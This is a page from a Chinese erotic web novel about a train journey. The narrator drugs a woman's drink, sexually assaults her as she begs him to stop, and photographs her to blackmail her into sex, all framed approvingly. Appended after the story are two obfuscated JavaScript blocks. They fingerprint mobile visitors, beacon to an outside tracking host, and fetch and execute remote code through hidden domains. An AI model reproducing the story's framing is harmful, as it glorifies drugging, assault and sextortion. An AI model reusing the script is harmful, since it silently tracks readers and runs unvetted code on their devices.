我操!遇到女色魔了。我心里觉得特别便扭,可是……可是却又无比异样的兴奋,于是小弟弟越挺越硬,我从来没有过这样的经历。正当我沉浸于这个异样感觉的时候,刘敏从裤包了掏出个东西了,接着伸到我小弟弟附近,我就听见一声“卡嚓”。

啊!我终于反应过来自己被偷拍了。在这个充满黑暗的车厢里面,偷拍猥亵的戏码就这样无耻地发生了,可出乎我意料的是,角色一点不对。我生出一股怒火,游戏似乎该结束了,我要奋起反抗!

就在我要揭竿而起的时候,小弟弟上突然传来一阵轻柔的触感,带着一丝丝冰凉,我因为怒火有些泄气的小弟弟又再度兴奋起来。紧接着,又是一下,刘敏的手再次轻轻碰上我的小弟弟,动作飞快。

刘敏的动作小心而好奇,带着试探,像是在探寻又爱又怕的东西。我稍微发出一些轻微的鼾声,刘敏没有让我失望,发现我睡死了,她的触碰越来越频繁,停留的时间越来越长,后面甚至开始在小弟弟的根部抚摸起来。

抚摸了几下,我感觉到小骚货的手指向上,轻轻来到了龟头和包皮交接的位置,两个指头在上面捏了一下,我兴奋地一阵哆嗦,刘敏吓得把手指松开。我心里面暗笑,故意舒服的“嗯嗯”两声,继续发出鼾声。

过了会发现我依然沉睡,小骚货放下心来,再次大胆地把手放在我的小弟弟上面,用两根手指轻轻地挤压着我的肉冠,像在玩玩具一样。小弟弟的一阵阵酸麻冲击着我的神经,我用强烈的脉动回应小骚货的手指,谁知小骚货竟越来越大胆,竟然用整个手掌握住我的命根子!

不需要任何动作,我仿佛被勒住脖子一样,全身感到乏力无比,幸好小骚货马上松开了手掌,不然我几乎窒息。不等我喘息,手掌又一次包住我的命根子,还有些轻轻的挤压,比上次有力。我情不自禁地轻轻哼了一声,小骚货居然没有发现。

恰在这时,火车路过一片灯光,车窗外透进来一片光亮,我就见刘敏满脸细汗,头发紧紧贴着额头,仿佛刚刚洗过澡一样。同时我还发现小骚货的脖子一阵滑动,在用力地吞咽着口水,胸前的丰满双乳把衣服撑得更大,两颗乳头仿佛更挺了。

忘我的刘敏显然爱上了手中的玩具,随着我有力的脉动一紧一松地捏握着我的命根子。我小弟第长时间僵硬,又受到如此酷刑,竟然硬得有些麻木,幸好刘敏对它充满好奇,没有在这个玩法停留太久。当她轻轻放开我的小弟弟的时候,小弟弟阵阵清凉,原来我的命根子上面已经尽是小骚货手心的汗水。

刘敏长期保持一个姿势有些累,关键是一直用一只手,不过瘾。再次确定我睡得跟死猪一样,刘敏拿着笔记本的手放开了,整个身子蹲下来,眼睛几乎贴到我的小兄弟身上。接着她一只手捏着我的肉冠,一只手的手指轻轻翻弄着我的包皮,居然研究起来。

他妈的什么个女人啊?比我还变态。我生出被窥视隐私的感觉,真是人为刀殂,我为鱼肉。可惜我貌似坚强的小弟弟,怎么也拧不过小骚货的十姐妹,再加上怕破坏了这次另类的旅行,我只有暂时忍耐。

三弄两不弄,我感觉自己的整根肉棒麻木到极点,小弟弟的头部流出一丝透明的液体来。小骚货发现了什么,翻动包皮的食指触向小弟弟的顶点,蘸了一丝黏液,然后拇指和食指并拢分开、并拢分开,研究起指尖上液体的黏性来。

看着小骚货将指头凑近她可爱的鼻子细细品闻的动作,我突然觉得小骚货一点点变得纯洁起来,这个淫靡的车厢就像一个教室,而跟前的女人只是一个好学的小骚货。 第六章 一念天堂一念地狱

她是个好奇宝宝,好色的好奇宝宝,好色的变态的好奇宝宝,好色的变态的可爱的好奇宝宝。

这一刻,我第一次真正地开始对刘敏好奇起来,不为了她丰硕白皙的乳房,不为了她精致的脸面,不为了她纤细的腰肢,也不为了她浑圆的屁股……抛开色情,难道真有这样一见钟情的感情存在吗?

当我忘情思考的时候,好奇宝宝并没有放弃她的探索,我就觉得一个温湿的东西在我小弟弟的脑袋上轻轻扫过,我这次看到好奇宝宝竟是伸出了香舌……我彻底崩溃了,刚刚有些理性的脑袋彻底浆煳了,本来已经麻木到极点的小弟弟一个汹涌地脉动,白浆爆发出来。随着小弟弟的或有力或无力的脉动,它的口水吐得到处都是。

第一条白浆喷射在好奇宝宝的香舌和嘴巴周围。

第二条白浆喷射在好奇宝宝脸上。

第三条白浆喷射在好奇宝宝的头发上。

第四、第五条白浆喷射在好奇宝宝的衣服上。

黑暗中,好奇宝宝的脸上和胸前挂着的一条条白色分外醒目,除了她手中的肉棒还在一下一下地跳动着逐渐变小,车厢里面的一切都仿佛静止了。

我突然有种感觉:石化了的好奇宝宝像一个等待审判的犯人,而我就是那个决定她命运的法官。

我有八成的把握,在这一刻可以奋起然后推到面前的小宝宝,那一条条醒目的白色精液是我最好的底牌。可我就像所有拿到好牌的赌徒一样,总喜欢加注,加注,再加注……但也许为了那灵光一闪的好奇,也许为了一丝莫名的怜悯,也许为了解答自己心中的那个疑问,也许我的小弟弟真的累了……总之,我竟然原谅了好奇宝宝。

下定了决心,我故意挪动一下屁股,又舒服地“嗯嗯”两声,没有了鼾声,但气息悠长的继续酣睡。

刘敏等了足足半分钟,才深吸一口气,然后剧烈地喘息起来,紧接着掀起T恤的一角,用手拿着轻轻给我的小弟弟打扫卫生,消痒还消除证据。吐完口水的小弟弟无力而脆弱,被棉质的布料擦拭有一点痛,又有些酥麻。为了节约时间,她没有给自己作处理,任由哪些黏液挂在自己身上。

刘敏打扫卫生的动作很快,马上就做完了。当我以为她要立刻逃离现场的时候,好奇宝宝居然再次拿出手机,“卡嚓”一声,给我垂头丧气的小弟弟整了个留念。

我操你个仙人班班,小骚货你等着,总有一天我要对你刚刚的所作所为加倍奉还!

刘敏总算回到了中铺,我听见她“悉悉索索”换衣服的声音,却没有了多少淫色的幻想。火车依然发出“蹬蹬”的声音,上面渐渐没有了声音,我的身体已经疲劳的不行,终于可以安然入睡了……

火车上的颠簸本来令人疲劳,但也许做了特殊项目的原因,我醒来的时候天还才濛濛亮,而我格外精神。往中铺一看,刘敏还在睡觉,看来她昨晚上是累坏了。趁着她熟睡的机会,我仔细地端详起来。

刘敏半侧卧的姿势朝外躺着,衣服又换回了最初上车时穿的那件,胸罩也戴起来了,让我稍微有些失望。刘敏的小脸昨天还化了淡妆,今天一看彻底素面朝天了,我想她昨天晚上一定狠擦脸了。小小的鼻子、小小的嘴巴,都很精致,今天仔细看越来越觉得她童颜巨乳;眼睛闭着看不清,但眼睫毛挺长挺粗的。

看了一会,我想着要做点什么,于是把嘴巴往刘敏的脸上蹭过去。终于给我亲上了,心不争气地加快了跳动。经历了昨天晚上的亲密接触,我觉得这个吻很纯洁、很自然。

亲完了,我想着再做点别的,却见刘敏紧闭的眼皮下眼珠子在不停地滑动。我汗,小宝宝是醒着的!我心里面那个爽,居然默认了我的吻,那是不是说……我没有想下去,连进一步占便宜的想法也打消了。你装睡,那么我就装纯洁,总有让你肉债肉偿的时候,哼哼!

我快速地洗脸、刮胡子、整理头发……总之把自己好好“打扮”了一番。回到座位泡了包方便面。

“嗯嗯,好香啊!什么东西?”刘敏伸着懒腰,假装起来了。

“早啊!美女,方便面呢!给你来一桶?”我笑着给刘敏打招唿。

“好,我这里有个鸡蛋和牛奶,分你一半,算补偿你的。”说着,刘敏翻出两个鸡蛋和牛奶来。

“补偿”,说得好。真是好宝宝,知道我昨天晚上大有损耗。

我为刘敏泡了一桶面,并把她给我的鸡蛋分别放进去。

第七章 突如其来的冲动猥亵

这是一次惬意的早餐,至少对我而言。对面的刘敏边吃边吸着鼻子,方便面是泡椒的,她辣得不行。看着一脸微红的美女,我如何能不惬意?

“闻着香,吃着一般。”刘敏发现我盯着她看,有些因为自己的不耐辣不好意思。她那么容易脸红,是个害羞的女人,可昨天?

我意淫着,同时哈哈笑着说:“当然,这种东西也就偶尔吃吃还行。谢谢你的鸡蛋和奶!挺好。”说着,我自己忍不住瞟了一眼刘敏的胸部。

刘敏发现了我不老实的眼光,把吃完的方便面放到一边,故意把头扭去朝着车窗,似乎在欣赏沿途的风景。如此的默许,我更加肆无忌惮地欣赏眼前的美景了。

刘敏看了一会,发现我还是在不老实,于是掏出手机发起短信来,两只手恰好交叉把我的视线隔断了,让我郁闷不已。这个短信一发就是半天,那边很快就有了回信,刘敏又迅速地回复,如此来来往往持续不断,时不时她还“咯咯”娇笑两声,我被彻底地凉在一边。

“哈,给男朋友发短信呢?看你笑得那么高兴!”我纯粹没事找话说,而且居然突然冒出她在给哪个帅哥发短信的想法,带着一丝醋意。

刘敏微微一愣,接着“咯咯”笑起来。

我有些脸红,掩饰道:“哈哈,被我说中了吧?”

刘敏笑得更厉害了,不过终于开口道:“是啊,我告诉他我遇到色狼了。”

我脸色不善,接着刘敏的意图扩展这个玩笑,故意奸笑道:“还是不要发的好,现在他是救不了你了,只会白让他伤心难过。”

恰在这时,刘敏收到短信,她打开一看,突然大笑不止,几乎岔气。我直觉这条短信和我有关系。刘敏笑了半天,一对巨乳不停乱颤,看得我心痒难耐。

“什么那么好笑?”我有些生气地问道。

“没……没……什么,咯咯!”刘敏还是笑。

我更确定了有问题,生气地收拾着两人的方便面桶。把垃圾扔在车厢进到的垃圾桶中,我暗暗想,要是能像昨天一样看到她的短信就好了。

走回来的时候,刘敏依然在发短信。我心中没有来由地烦躁,自顾自地躺倒在床铺上,拿出手机看起小说来。但我始终不能集中精神,怎么才能看到上面的短信呢?突然,我又想到了粉红色的液体:‘昨天量太少了,今天多下点,或者有效!要是她白天就睡着了,那么也可以偷看她的短信。’

如此一想,我来了精神,想着如何下药的问题,但一时想不出好的方法,看来还是只有等刘敏上厕所了。于是我一边也看起手机上面的小说来,一边等待着刘敏去上厕所的机会。

老天似乎听见了我的心声,不一会刘敏居然去厕所了。我心中激动,飞快拿过刘敏的矿泉水,拧开瓶盖,然后掏出小瓶子,将粉红色的液体倒了一半进去,刚要拧上瓶盖,我一咬牙把剩下的全倒了进去。

大功告成,我躺回床上。刘敏回来,拿起矿泉水“咕噜咕噜”喝了几口,看来一切都很顺利啊!

由于心情愉快,我看书也居然专心起来,把书中女主角想像成刘敏的样子,越看越兴奋。看书的同时,我时不时地留意刘敏,发现她也时不时地偷看我,而且似乎在盯着我的两腿之间……他妈的,好奇宝宝还是女流氓?不过随她去了,相比她昨天的所作所为,她现在的目光实在太小儿科了。我反而将两腿分开,让她看得更清楚。

女流氓就是女流氓,越看越舍不得离开目光,或许看得兴起,不时猛喝水。一瓶水快就被喝光了,刘敏依然没有睡觉的意思,我暗暗焦急,难道这个药有问题?

但最后一口水喝完的时候,刘敏站起来对我说:“坐火车真累,怎么才起来就想睡了。帅哥,你帮我看着一下行李。”我狂喜,满口答应。

刘敏爬上她的床铺,我躺在下面耐心地等待。渐渐上面没有了声音,我不敢大意,继续耐心地等待。又过了一会,我确定上面的小美人睡着了,悄悄地爬起来,探头往上面一看,结果发生了让我吃惊的一幕!

刘敏居然没有睡着,虽然她的眼睛紧紧地闭着,但是我确定她没有睡着。因为,她一只手伸进自己的T恤,另一只手伸进自己的裤子,上下两处在忘我地蠕动着。这样的姿势她的小腹露出一块,如此雪白!我目光上移,看到她的脸红得要滴出血一样,上面大汗淋漓。

刘敏在T恤中的手似乎越来越用力,她一使劲,胸前的衣服就高起一块,我这才发现她明显是在捏,而不是在揉!太狠心了,我都担心下面的乳球会爆炸一样。而她下面伸进裤子的手不停地抖动,频率很快,随着手的抖动,她的身子甚至有些微微的颤抖。

面对这样的情景我目瞪口呆,大气也不敢出一口。看了一会,我发现刘敏应该是睡着了,不然不能大白天手淫。如此一想,我顿时产生了隔靴搔痒的感觉。

我犹豫一下,深吸一口气,还是伸手拿住刘敏T恤的下沿往上拉去。刘敏T恤的质地很好,很轻薄,看着贴身其实很宽松,我稍微用力,就露出大半个腹部来。我暗暗唿一声:好美、好性感的肚子啊!只见美女雪白的小肚子毫无赘肉,皮肤细嫩光滑,似乎上了一层粉红色的奶油,她本身的皮肤雪白,现在却白中透红。再往上一点看,微微下陷的肚脐上留有两个小洞,她居然还戴脐环!

如此美景让我留恋,但更激发了我进一步探索的冲动,我继续往上掀着刘敏的T恤,感觉并不费力就到了乳罩下沿的位置。这时刘敏的手成了障碍,不过难不倒我,我掌握刘敏捏乳的规律,趁着她放松的周期,把她的T恤掀到了胸部以上。

冥冥中自有上天安排,这是怎样一番奇景!眼前的刘敏只戴了半个乳罩,也许为了捏得过瘾,她早已自己掀开了左乳的罩杯,一只可怜的巨乳在刘敏魔爪的蹂躏下不停变化着形状,顶端鲜红的乳头像被充气一样,愤怒地挺立着。这颗乳头就这样鲜活地抓住了我的目光,因为涨得太厉害,我清清楚楚地看见上面的纹路和细微的裂口。

离开乳头,我的眼睛第二次看到她的乳晕了,不过这次有更好的光线、更近的距离。巨大的乳晕居然是鲜红色的,不像很多巨乳一样呈现黑褐色,看来年轻确实有优势,这大片鲜红的乳晕不但没有破坏巨大肉球的美感,反而增加了一份淫靡,我暗暗感慨长得好淫荡的乳房。

再往外看,又是另外一番美景:刘敏有着雪白的肌肤,可这时这美人的乳房却一片通红,真不知她用了多大的力量在捏自己。随着美人手指时而舒展,时而紧捏的动作,我隐约看到通红乳房上一道道的红印子,如此的触目惊心。

刘敏胸前的景像让我血脉膨胀,我的双手拿着T恤忘记了松开,目光更是舍不得离开。过了一会,刘敏越来越用力,我的眼睛突然瞪大,我紧紧盯着她的目光居然发现她的乳头上渗出一滴乳白色的液体了。

孕妇?不,是哺乳期妇女?我的脑袋瞬间短路了,有些失望,又有些变态的兴奋,简直五味杂陈。恍惚间,我拿着T恤的手松开了,并下意识地去接近那颗俏丽的乳头,那上面的白色乳滴仿佛有无限的魔力,吸引着我。

近了,近了……我的手指终于碰上了刘敏的乳头,忍不住捏了捏,原来是这样的感觉,手感好硬啊!

咦,怎么刘敏的手不动了?我突然意识到什么,下意识地把目光从刘敏的乳头上移到她的脸上,就看见她一双水汪汪的大眼睛大大地睁着,看着我捏着她乳头的手。

见到我投来的目光,刘敏仿佛才突然清新,捏着自己乳房的手和插在裤子里面的手猛地抽离原来的位置,一起抓着自己的T恤往下一扯,遮住了一切淫荡!由于动作太快,我分明看到刘敏从裤子里面抽出来的手一片湿腻,黏黏的,不知有多少浆液。

这时,我捏着刘敏乳头的手还留在T恤里面。我已经被震住了,眼前的美女是已婚或者未婚先孕的人,我没有了先前放长线钓大鱼的想法,反而只想着怎么进一步。于是,那只手死乞白赖的留在她的T恤里面,放肆地又摸又抓起来。

刘敏羞怒异常,一只手紧紧抓着T恤,另一只手努力阻止我的魔手,可是她那点力量如何阻止得了我。我就觉得手中的皮肤光滑异常、弹力十足,刘敏拼命用手去挡住我的揉搓的线路,反而帮助我的手更卖劲地在她的胸上游走。

在这焦灼的过程中,我们的鼻息逐渐粗重起来,不过为着不同的目的,我们都努力不发出声响。我们两人彼此对视,眼中的火苗越来越旺,我的欲火,而她的分不清是怒火还是欲火。

我抓紧时间,又在她乳头上用力捏了一下,“啊~~不要……求你了……”刘敏终于忍不住发出细微的声音,身体却是因我触到她敏感的乳头猛烈地颤抖。

我根本不理会,T恤外的手反而往她的裤子掏去。她一见大急,也不顾正在被侵犯的乳房,两手都来保卫裤子,我也声东击西,趁机把她的T恤一拉,再次让她袒胸露乳。随着T恤被拉开,她那只左乳暴露在空气中,因为被T恤刮到,那只乳房还在不停颤动。

刘敏见乳房袒露出来,想再次把T恤拉下,可是又怕裤子遭袭,她干脆努力将双臂并拢想遮住露出了的肉球。她这可真是手忙脚乱了,不但没有遮住,反而左乳被挤压得更加突出。本身就很暴涨的乳球被这样一挤压,更像不断被充气的气球,不断胀大,白色的皮肤因为被紧绷变得更加光亮,下面青色的静脉隐隐若现,如此纤毫毕现,我看得心都要跳出来了。

我猛地一把将手掌抓住那只胀大的乳球,可是因为乳球太大、绷得太紧、汗水太多,我根本无从下手,其实连二分之一都没有抓住。

“呜~~呜~~”刘敏被这突然的袭击惊得眼泪哗啦啦流下来了。我心中冷笑,这是你最后一招了?“呜~~呜~~求求你别……大白天的,晚上好吗?呜呜~~求你了!”刘敏继续哭泣着哀求。

晚上?我心里一动,白天确实不好做什么动作,要是晚上她能自愿的话确实不错,现在我还真不能怎么样,要是被人撞见挺麻烦的。

“嘿嘿,夜长梦多,万一你晚上赖帐怎么办?”我故意不肯放弃地说道。

“……”刘敏一阵沉默,显然拿不出什么保证来。

我心中暗笑,又捏了她的乳房一把,说:“我拍两张留念,要是你晚上耍花样,我就把照片发到网上去。”刘敏眼睛一瞪,带着些许吃惊,更多的是郁闷,不过她还是含泪点头。

我心里面爽得不行,心想什么是报应,这就是报应!

我迅速拿出手机,“啪啪啪”,连拍数张,有全身的,有乳房的特写,我甚至拉开刘敏右乳的罩杯,拍了两张。整个过程她都比较配合,直到我要怕她下面的时候她才拼命地阻止。

“呜~~够了,你怎么那么恶心,下面有什么好拍的?”刘敏羞怒地哭诉。

我心中冷笑,到底谁恶心来着?昨天半夜到底谁恶心来着?不过刘敏现在已经是我嘴边的肉,我也不再勉强,先放过你这次,慢慢收拾你!

放过刘敏,她“蹬蹬”的爬下来,随便整理好衣服,往厕所去了。

刘敏离开,我顿时有松懈下来的感觉,同时竟然生出伤感的情绪来。我本来只想把刘敏迷倒,然后偷看她的手机短信,可是居然让我看到她手淫,更夸张的是让我看到了她的奶水。现在我冷静下来,才想到那滴奶水给我的震撼,它彻底改变了我对刘敏的计划。

真是世事无常,当我想把刘敏搞成长期炮友甚至是女友的时候,居然发现她都是孩子他妈了。也怪昨天她太好奇宝宝的表现,让我误会了。这样的少妇虽然是极品,但做不得长久,这个想法应该是我突然爆发变成色魔的根本原因,确切说是露出本性的原因。至于刘敏手淫被我撞见,至于那充满视觉震撼的乳球和乳滴,只能算是诱因吧!

想到这,我伸出捏过刘敏乳房的右手拼命地闻闻,想找到上面的奶香,可是似乎没有。些许的失望慢慢扩散着,最后居然让我惆怅起来,我刚刚突然冲动地做了那样的事情,在刘敏眼中的形象是彻底毁灭了……

我努力甩头,想抛开上面的想法,这个是什么世界了,还有这样纯情的小男生想法,真可笑。

我故意拿出手机,翻开刚刚拍的照片,照片上刘敏半赤裸的上身,绝对称得上淫荡色情,我看得小弟弟都硬了,其实从看见刘敏手淫到现在就没有软过。淫荡的照片让我又重新黑暗起来。


上一篇:上了失恋的同事

下一篇:播种


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};